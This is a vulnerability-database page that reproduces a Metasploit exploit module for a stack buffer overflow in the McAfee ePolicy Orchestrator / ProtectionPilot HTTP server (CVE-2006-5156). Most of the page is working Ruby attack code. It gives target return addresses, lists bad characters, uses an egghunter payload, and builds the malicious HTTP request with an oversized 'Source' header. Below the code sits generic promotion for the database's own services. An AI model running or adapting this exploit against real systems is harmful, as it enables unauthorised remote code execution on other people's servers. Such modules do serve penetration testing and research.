Lucene search
K

McAfee ePolicy Orchestrator / ProtectionPilot Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

McAfee ePolicy Orchestrator / ProtectionPilot Overflow exploit for McAfee HTTP Server (NAISERV.exe). Vulnerable versions: ePolicy Orchestrator 2.5.1 <= 3.5.0, ProtectionPilot 1.1.0. Exploits stack overwrite via 'Source' header. Uses Egghunter technique

Code

                                                ##
# $Id: mcafee_epolicy_source.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;McAfee ePolicy Orchestrator / ProtectionPilot Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This is an exploit for the McAfee HTTP Server (NAISERV.exe).
				McAfee ePolicy Orchestrator 2.5.1 &#60;= 3.5.0 and ProtectionPilot 1.1.0 are
				known to be vulnerable. By sending a large &#39;Source&#39; header, the stack can
				be overwritten. This module is based on the exploit by xbxice and muts.
				Due to size constraints, this module uses the Egghunter technique.
			},
			&#39;Author&#39;  =&#62;
				[
					&#39;muts &#60;muts [at] remote-exploit.org&#62;&#39;,
					&#39;xbxice[at]yahoo.com&#39;,
					&#39;hdm&#39;,
					&#39;patrick&#39; # MSF3 rewrite, ePO v2.5.1 target
				],
			&#39;Arch&#39;		=&#62; [ ARCH_X86 ],
			&#39;License&#39;	=&#62; MSF_LICENSE,
			&#39;Version&#39;	=&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;	=&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-5156&#39; ],
					[ &#39;OSVDB&#39;, &#39;29421 &#39; ],
					[ &#39;URL&#39;, &#39;http://www.milw0rm.com/exploits/2467&#39; ],
					[ &#39;URL&#39;, &#39;http://www.remote-exploit.org/advisories/mcafee-epo.pdf&#39; ],
					[ &#39;BID&#39;, &#39;20288&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1000,
					&#39;BadChars&#39;  =&#62; &#34;\x00\x09\x0a\x0b\x0d\x20\x26\x2b\x3d\x25\x8c\x3c\xff&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;ePo 2.5.1 (Service Pack 1)&#39;,		{ &#39;Ret&#39; =&#62; 0x600741b5 } ], # p/p/r nahttp32.dll 2.5.1.213
					[ &#39;ePo 3.5.0/ProtectionPilot 1.1.0&#39;,	{ &#39;Ret&#39; =&#62; 0x601EDBDA } ], # p/p/r xmlutil.dll
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 17 2006&#39;))

		register_options(
			[
				Opt::RPORT(81),
			], self.class)
	end

	def check
		connect

		req = &#34;GET /SITEINFO.INI HTTP/1.0\r\n&#34;
		req &#60;&#60; &#34;User-Agent: Mozilla/5.0\r\n&#34;
		sock.put(req + &#34;\r\n\r\n&#34;)

		banner = sock.get(-1,3)

		if (banner =~ /Spipe\/1.0/)
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum =&#62; true })
		egg    = hunter[1]

		sploit  = Rex::Text::rand_text_alphanumeric(92)
		sploit &#60;&#60; Rex::Arch::X86.jmp_short(6)
		sploit &#60;&#60; Rex::Text::rand_text_alphanumeric(2)
		sploit &#60;&#60; [target[&#39;Ret&#39;]].pack(&#39;V&#39;)
		sploit &#60;&#60; hunter[0]

		content = egg

		request = &#34;GET /spipe/pkg HTTP/1.0\r\n&#34;
		request &#60;&#60; &#34;User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n&#34;
		request &#60;&#60; &#34;Content-Length: &#34; + content.length.to_s + &#34;\r\n&#34;
		request &#60;&#60; &#34;AgentGuid=&#34; + Rex::Text::rand_text_alphanumeric(64) + &#34;\r\n&#34;
		request &#60;&#60; &#34;Source=&#34; + sploit + &#34;\r\n&#34;
		request &#60;&#60; &#34;\r\n&#34;
		request &#60;&#60; content

		sock.put(request + &#34;\r\n\r\n&#34;)

		disconnect
		handler
	end

end


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation